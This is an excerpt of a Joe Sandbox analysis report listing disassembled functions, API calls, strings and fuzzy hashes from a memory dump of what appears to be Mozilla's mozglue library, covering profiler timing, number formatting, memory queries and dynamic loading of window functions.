Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 65452ff8a49ea9016bb88ec9bfca11791c7f77f3e2685c31caf7cb71d1025686
Instruction ID: eaac0dd63834b4276f214ef321c31e3c3b684dff522d381422a206adc5ba8623
Opcode Fuzzy Hash: 65452ff8a49ea9016bb88ec9bfca11791c7f77f3e2685c31caf7cb71d1025686
Instruction Fuzzy Hash: 2B023D71A0521A8FDB54CF19C984799B7B5FF88318F2982AAD809A7751D730AED0CF81

Function 6CAF5190 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 331timeCOMMON

Download Yara Rule

APIs

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CAF51DF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CAF529C
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,00000000), ref: 6CAF52FF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CAF536D
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CAF53F7

Part of subcall function 6CAEAB89: EnterCriticalSection.KERNEL32(6CB3E370,?,?,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB94
Part of subcall function 6CAEAB89: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_RECORD_OVERHEADS), ref: 6CAF56C3
__Init_thread_footer.LIBCMT ref: 6CAF56E0

Strings

MOZ_PROFILER_RECORD_OVERHEADS, xrefs: 6CAF56BE

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: BaseDurationPlatformSeconds@TimeUtils@mozilla@@$CriticalSection$EnterInit_thread_footerLeavegetenv
String ID: MOZ_PROFILER_RECORD_OVERHEADS
API String ID: 1227157289-345010206
Opcode ID: 1142e8e7777eadca16fba7c8e62af7192aa500cbc70636d71f723d20f71b516d
Instruction ID: 771704a913236752798cc1bac0a52750f9dbcb59e6c2061d632187adc43ead42
Opcode Fuzzy Hash: 1142e8e7777eadca16fba7c8e62af7192aa500cbc70636d71f723d20f71b516d
Instruction Fuzzy Hash: 09E17F71914F458AC712CF38C85026BB7BABF9B395F14DB0EF8AE2A550DB30E4868741

Function 6CB17030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6CB17046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6CB17060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB1707E

Part of subcall function 6CAC81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CAC81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB17096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB1709C
LocalFree.KERNEL32(?), ref: 6CB170AA

Strings

(null), xrefs: 6CB1706A, 6CB17083
### ERROR: %s: %s, xrefs: 6CB17087

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 09acaefff910a038d68c50dafb22f336e19b051da976b9775a16469ad6bdcb86
Instruction ID: fb3061805f529f2826bfc67e0d9749ba6be410e875e9b7d7d633896ad76ef50b
Opcode Fuzzy Hash: 09acaefff910a038d68c50dafb22f336e19b051da976b9775a16469ad6bdcb86
Instruction Fuzzy Hash: FA01B9B2B00118AFDF105B68DC4ADAF7BBCEF49215F010425FA0DA3241D67169188BA5

Function 6CB02C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB02C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB02C61

Part of subcall function 6CAB4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAB4E5A
Part of subcall function 6CAB4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAB4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB02C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB02E2D

Part of subcall function 6CAC81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CAC81DE

Strings

expected a Time entry, xrefs: 6CB02E36
(root), xrefs: 6CB0354F
ProfileBuffer parse error: %s, xrefs: 6CB02E3B

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 9525ba0e6f1680b3618ca896fb7b6f0a232879e85090656aa8cda956c8c21e46
Instruction ID: b5a193ee56d6899a49279bf76cb5a09dc754fe3df4e5067eca19ccff7189701b
Opcode Fuzzy Hash: 9525ba0e6f1680b3618ca896fb7b6f0a232879e85090656aa8cda956c8c21e46
Instruction Fuzzy Hash: 9591BE707087818FC724CF24C495AAEBBE1EF89258F104A1DE99A87750DB34D949CB53

Function 6CB19E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CB19F3D
__aulldiv.LIBCMT ref: 6CB19F77
__aullrem.LIBCMT ref: 6CB19F8C
__aulldiv.LIBCMT ref: 6CB1A023

Strings

NaN, xrefs: 6CB19EAB
-Infinity, xrefs: 6CB19E60, 6CB19E7B

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 2f74131041f7cbc7c363ac9718d975c461cf79839d4c9b6a62153f14bff1e9ad
Instruction ID: 686d91275c79d1d92c5f78fbe5640a73efcec4ce92be7e61e414a848b73d7631
Opcode Fuzzy Hash: 2f74131041f7cbc7c363ac9718d975c461cf79839d4c9b6a62153f14bff1e9ad
Instruction Fuzzy Hash: 28C1C031E083988FDB14CFA8C85079EB7BAFB85714F144529D416ABB80DB71A94DCF91

Function 6CB1B910 Relevance: 9.1, APIs: 6, Instructions: 146nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAC9B80: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,6CB1B92D), ref: 6CAC9BC8
Part of subcall function 6CAC9B80: __Init_thread_footer.LIBCMT ref: 6CAC9BDB

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CAC03D4,?), ref: 6CB1B955
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,0000001C), ref: 6CB1B9A5
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,00000000), ref: 6CB1BA20
RtlNtStatusToDosError.NTDLL ref: 6CB1BA7B
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6CB1BA81
GetLastError.KERNEL32(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6CB1BA86

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Error$LastMemoryQueryVirtual$InfoInit_thread_footerStatusSystemWin32rand_s
String ID:
API String ID: 1753913139-0
Opcode ID: 2d2af1b23eb8334e2e5bb9988fa4b52fe44491cbf792431ed86819569bd88d36
Instruction ID: 9f7a3c8dfbdc41014a98653bc0cc184731641702aa5d643cdfd4800712de4dd3
Opcode Fuzzy Hash: 2d2af1b23eb8334e2e5bb9988fa4b52fe44491cbf792431ed86819569bd88d36
Instruction Fuzzy Hash: 7251BCB1E15259DFDF14CFA8C880ADEB7B6EF88308F244129E905B7B04DB30AD458B91

Function 6CB2545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB28A4B

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: a7bc3bb7ab0cdafeb003da4676b69c84827a538cbbd4524cc15ca49530113834
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 97B10972E0025A8FDB24CF68CC907E9B7B2EF95314F1802A9C44DDB785D734A989CB91

Function 6CB2542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB288F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB2925C

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 17acd0b7ab795d9c1b6775329d1e812cc6f26cc00c6069ce3f7e650a15c99a72
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: F3B1C572E0024A8BDB14CF58CC816EDB7B2EF94314F180269C95DEB785D734A989CB90

Function 6CB250C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB28E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB2925C

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: d6a3b4a9bc66e788abd7c4882d5de26f97ddc594a2c540cb09c757d38384f65c
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 30A1E672E001568FDB24CE68CC807ADB7B2EF95314F1802B9C95DEB785D734A999CB90

Function 6CB077A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB07A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB07A93

Part of subcall function 6CAD5C50: GetTickCount64.KERNEL32 ref: 6CAD5D40
Part of subcall function 6CAD5C50: EnterCriticalSection.KERNEL32(6CB3F688), ref: 6CAD5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB07AA1

Part of subcall function 6CAD5C50: __aulldiv.LIBCMT ref: 6CAD5DB4
Part of subcall function 6CAD5C50: LeaveCriticalSection.KERNEL32(6CB3F688), ref: 6CAD5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CB07B31

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: b42628bc8f8704562e237c5ea627e5d22001516714bd4dc7d15ff2c1ee6e924f
Instruction ID: 0134292673c17b3fc7b906942f9a4d3bcf53f2c923285772cbd1b50a31159dcc
Opcode Fuzzy Hash: b42628bc8f8704562e237c5ea627e5d22001516714bd4dc7d15ff2c1ee6e924f
Instruction Fuzzy Hash: E3B15A357087818BCB14CE25C4506AFFBE2BBC9318F154A1DE99567791DBB0E90ACB83

Function 6CB1B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6CAEFE3F), ref: 6CB1B720
RtlNtStatusToDosError.NTDLL ref: 6CB1B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6CAEFE3F), ref: 6CB1B760

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 040d09c06350aadc03b94bfcc558adac3d89c4818675b9213b2c364dddca0dd2
Instruction ID: 828870b98eb0bbb17cef00917cfec0b7ebeb25abc73473133771e51802f6c9c5
Opcode Fuzzy Hash: 040d09c06350aadc03b94bfcc558adac3d89c4818675b9213b2c364dddca0dd2
Instruction Fuzzy Hash: 78F0C8B094428DAEEF059AA5CC85BEFB7BCDB0431AF105129D51561AC0D77895CCC661

Function 6CB1B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CAC03D4,?), ref: 6CB1B955
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,0000001C), ref: 6CB1B9A5

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: c3719bb32e0b779ee6d6b87912a62ce5f6e583e8a144516aa50702438df03b2f
Instruction ID: 4bcca6c1fa74e4b11ef6fa020e78edf033ad44ad73731b0af3733deed64cc9ff
Opcode Fuzzy Hash: c3719bb32e0b779ee6d6b87912a62ce5f6e583e8a144516aa50702438df03b2f
Instruction Fuzzy Hash: A541C771F042199FDF04CFA9D891ADEBBB5EF88354F24412AE505A7B04DB30AC458B91

Function 6CB155F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CAEE1A5), ref: 6CB15606
LoadLibraryW.KERNEL32(gdi32,?,6CAEE1A5), ref: 6CB1560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CB15633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CB1563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CB1566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CB1567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CB15696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CB156B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CB156CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CB156E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CB156FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CB15716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CB1572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CB15748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CB15761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CB1577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CB15793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CB157A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CB157BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CB157D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CB157EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CB157FF

Strings

SetWindowLongPtrW, xrefs: 6CB157B7
DeleteObject, xrefs: 6CB157F9
EnableNonClientDpiScaling, xrefs: 6CB15666
GetMonitorInfoW, xrefs: 6CB157A2
GetThreadDpiAwarenessContext, xrefs: 6CB1562D
ShowWindow, xrefs: 6CB156DE
SetWindowPos, xrefs: 6CB156F7
StretchDIBits, xrefs: 6CB157CC
MonitorFromWindow, xrefs: 6CB1578D
LoadIconW, xrefs: 6CB1575B
ReleaseDC, xrefs: 6CB15742
GetWindowDC, xrefs: 6CB15710
GetSystemMetricsForDpi, xrefs: 6CB15677
LoadCursorW, xrefs: 6CB15774
CreateWindowExW, xrefs: 6CB156C5
user32, xrefs: 6CB15601
FillRect, xrefs: 6CB15729
AreDpiAwarenessContextsEqual, xrefs: 6CB15637
CreateSolidBrush, xrefs: 6CB157E4
RegisterClassW, xrefs: 6CB156AC
GetDpiForWindow, xrefs: 6CB15690
gdi32, xrefs: 6CB1560A

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: ff29370bf292f6f614d9542ab34bfb9fd9ed9614d71e1a370fa6526841249486
Instruction ID: 8f58aefc439a2b8c70645f458a81a62927bb66312b22e0f686869b7abcc866ad
Opcode Fuzzy Hash: ff29370bf292f6f614d9542ab34bfb9fd9ed9614d71e1a370fa6526841249486
Instruction Fuzzy Hash: A351B075705BA2AFDB11AF388D44A2E3BFCEB462567104829E819E3E45EF34CC048F65

Function 6CAFCC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CAC582D), ref: 6CAFCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CAC582D), ref: 6CAFCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB2FE98,?,?,?,?,?,6CAC582D), ref: 6CAFCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CAC582D), ref: 6CAFCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CAC582D), ref: 6CAFCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CAC582D), ref: 6CAFCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAC582D), ref: 6CAFCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CAFCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CAFCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CAFCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CAFCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CAFCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CAFCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CAFCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CAFCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CAFCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CAFCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CAFCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CAFCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CAFCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CAFCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CAFCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CAFCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CAFCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CAFCE8A

Strings

fileioall, xrefs: 6CAFCCA8
cpuallthreads, xrefs: 6CAFCE16
leaf, xrefs: 6CAFCC66
screenshots, xrefs: 6CAFCCD4
Q^, xrefs: 6CAFCD25
jsallocations, xrefs: 6CAFCD0E
audiocallbacktracing, xrefs: 6CAFCDD4
mainthreadio, xrefs: 6CAFCC7C
default, xrefs: 6CAFCC21
processcpu, xrefs: 6CAFCE6E
markersallthreads, xrefs: 6CAFCE42
